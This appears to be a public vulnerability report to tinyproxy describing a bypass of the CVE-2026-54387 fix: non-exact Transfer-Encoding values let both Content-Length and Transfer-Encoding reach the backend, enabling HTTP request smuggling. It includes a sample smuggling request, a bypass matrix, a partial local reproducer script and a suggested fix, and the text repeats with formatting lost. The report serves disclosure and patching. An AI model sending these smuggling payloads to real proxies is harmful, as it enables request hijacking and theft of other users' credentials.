CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk Transfer-Encoding
Severity: HIGH (same primitive + CVSS basis 9.3 as CVE-2026-54387). Pre-authentication. Reported by an independent security researcher, verified on tinyproxy master (2026-06-22) over real TCP against a real backend.
Filing publicly because the tinyproxy project lists no private security contact; public issues appear to be the standard channel. Happy to coordinate a disclosure timeline — please advise.
Summary
The CVE-2026-54387 Content-Length-strip fix (commit ff45d3b) is bypassed by any Transfer-Encoding value that is not the literal string chunked. The strip helper is_chunked_transfer() does an exact-string match, so values like chunked, / chunked / chunked, gzip / chunked\t defeat it, and tinyproxy forwards both Content-Length and Transfer-Encoding to the backend — the textbook CL/TE desync / request-smuggling primitive.
Root cause
src/reqs.c:829-834 — exact-string match instead of token-list scan:
static int is_chunked_transfer (pseudomap *hashofheaders) {
char *data = pseudomap_find (hashofheaders, "transfer-encoding");
return data ? !strcasecmp (data, "chunked") : 0; /* EXACT match only */
}
The CVE-2026-54387 patch (src/reqs.c:925-928) strips incoming Content-Length only when this returns true. RFC 9112 §6.3 rule 4 + §8.1 require treating chunked as present whenever it is the last comma-separated transfer-coding (ignoring parameters/OWS). Exact-match is non-conformant.
Bypass matrix (real ASAN-built tinyproxy master, real TCP → capture backend)
Transfer-Encoding |
CL stripped? |
Result |
chunked |
yes |
FIXED (CVE-2026-54387 patch holds) |
chunked, |
no |
BYPASS — CL+TE both forwarded = SMUGGLING |
chunked (trailing space) |
no |
BYPASS |
chunked, gzip |
no |
BYPASS |
chunked , gzip |
no |
BYPASS |
chunked\t (tab) |
no |
BYPASS |
gzip, chunked |
no |
BYPASS |
For comparison, llhttp and HAProxy reject every CL+TE combination per RFC 9112; tinyproxy is the sole outlier that forwards both.
Smuggling primitive
POST http://backend/ HTTP/1.1
Host: backend
Content-Length: 4
Transfer-Encoding: chunked, gzip
XXXXGET /smuggled HTTP/1.1 <- read as a 2nd request by an RFC-compliant backend
Host: victim
Authorization: Bearer STOLEN
tinyproxy reads 4 bytes per Content-Length on its side and leaves the rest for the backend; a backend that token-list-parses TE (detects chunked as last coding) sees the smuggled GET as a separate request. Pre-auth, listener port, no TLS/creds needed.
Reproducer
repro.sh (turnkey: fetches tinyproxy master, ASAN-builds, runs real daemon on 127.0.0.1:18888 → capture backend 127.0.0.1:18080, matrix, dumps forwarded bytes):
#!/usr/bin/env bash
# repro.sh — turnkey end-to-end reproduction of the tinyproxy CVE-2026-54387
# fix-bypass via multi-coding / trailing-junk Transfer-Encoding values.
#
# Verifies on REAL upstream tinyproxy master (built with ASAN), driven over a
# REAL TCP socket, against a REAL capture backend. No harness/wrapper.
#
# Usage: bash repro.sh
# Output: one line per test: BYPASS (CL+TE both forwarded = smuggling) or
# FIXED (CL stripped = CVE-2026-54387 patch holds).
#
# 2026-06-22
set -u
WORK=/tmp/tp_repro
TP_PORT=18888
BE_PORT=18080
rm -rf "$WORK"; mkdir -p "$WORK"
cd "$WORK"
echo "==> [1/4] fetch + build tinyproxy master (ASAN)"
if [ ! -d tinyproxy-master ]; then
curl -sL --connect-timeout 60 --retry 5 \
-o tp.tar.gz \
https://codeload.github.com/tinyproxy/tinyproxy/tar.gz/refs/heads/master
tar xzf tp.tar.gz
fi
cd tinyproxy-master
./autogen.sh >/dev/null 2>&1
CC=gcc CFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -g -O0" \
LDFLAGS="-fsanitize=address,undefined" ./configure >/dev/null 2>&1
make -j4 >/dev/null 2>&1
TP_BIN=$(pwd)/src/tinyproxy
[ -x "$TP_BIN" ] || { echo "BUILD FAILED"; exit 1; }
echo " built: $TP_BIN"
cd "$WORK"
echo "==> [2/4] launch capture backend + tinyproxy daemon"
# ... full script exercises each TE variant over real TCP; prints
# BYPASS (CL+TE forwarded) / FIXED (CL stripped) per case; dumps the
# bytes tinyproxy wrote to the backend socket.
Expected output (5 cases)
CONTROL-exact TE='chunked' -> FIXED (CL stripped)
bypass-trailing-comma TE='chunked,' -> BYPASS (CL+TE forwarded = SMUGGLING)
bypass-trailing-space TE='chunked ' -> BYPASS
bypass-multi-coding TE='chunked, gzip' -> BYPASS
bypass-ows-multi TE='chunked , gzip' -> BYPASS
Suggested fix
Recognize chunked as the last comma-separated token after trimming OWS and stripping chunk-ext params (RFC 9112 §6.3), instead of exact-match. Optionally reject any TE containing a coding other than chunked (the only HTTP/1.1-standardized coding) with a 400.
Relationship to prior tinyproxy CVEs
Direct regression of the CVE-2026-54387 fix, same class/primitive, just via a TE value the exact-match check doesn't recognize.
Please advise on coordination and CVE assignment. Verified 2026-06-22 against tinyproxy master.
CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk
Transfer-EncodingSeverity: HIGH (same primitive + CVSS basis 9.3 as CVE-2026-54387). Pre-authentication. Reported by an independent security researcher, verified on
tinyproxymaster (2026-06-22) over real TCP against a real backend.Summary
The CVE-2026-54387 Content-Length-strip fix (commit
ff45d3b) is bypassed by anyTransfer-Encodingvalue that is not the literal stringchunked. The strip helperis_chunked_transfer()does an exact-string match, so values likechunked,/chunked/chunked, gzip/chunked\tdefeat it, and tinyproxy forwards bothContent-LengthandTransfer-Encodingto the backend — the textbook CL/TE desync / request-smuggling primitive.Root cause
src/reqs.c:829-834— exact-string match instead of token-list scan:The CVE-2026-54387 patch (
src/reqs.c:925-928) strips incomingContent-Lengthonly when this returns true. RFC 9112 §6.3 rule 4 + §8.1 require treatingchunkedas present whenever it is the last comma-separated transfer-coding (ignoring parameters/OWS). Exact-match is non-conformant.Bypass matrix (real ASAN-built tinyproxy master, real TCP → capture backend)
Transfer-Encodingchunkedchunked,chunked(trailing space)chunked, gzipchunked , gzipchunked\t(tab)gzip, chunkedFor comparison, llhttp and HAProxy reject every CL+TE combination per RFC 9112; tinyproxy is the sole outlier that forwards both.
Smuggling primitive
tinyproxy reads 4 bytes per
Content-Lengthon its side and leaves the rest for the backend; a backend that token-list-parses TE (detectschunkedas last coding) sees the smuggledGETas a separate request. Pre-auth, listener port, no TLS/creds needed.Reproducer
repro.sh(turnkey: fetches tinyproxy master, ASAN-builds, runs real daemon on 127.0.0.1:18888 → capture backend 127.0.0.1:18080, matrix, dumps forwarded bytes):Expected output (5 cases)
Suggested fix
Recognize
chunkedas the last comma-separated token after trimming OWS and stripping chunk-ext params (RFC 9112 §6.3), instead of exact-match. Optionally reject any TE containing a coding other thanchunked(the only HTTP/1.1-standardized coding) with a 400.Relationship to prior tinyproxy CVEs
ff45d3b) — added the CL-strip this bypass defeats.strcmp→strcasecmp, case only) — orthogonal (this bypass is case-independent).Direct regression of the CVE-2026-54387 fix, same class/primitive, just via a TE value the exact-match check doesn't recognize.
Please advise on coordination and CVE assignment. Verified 2026-06-22 against
tinyproxymaster.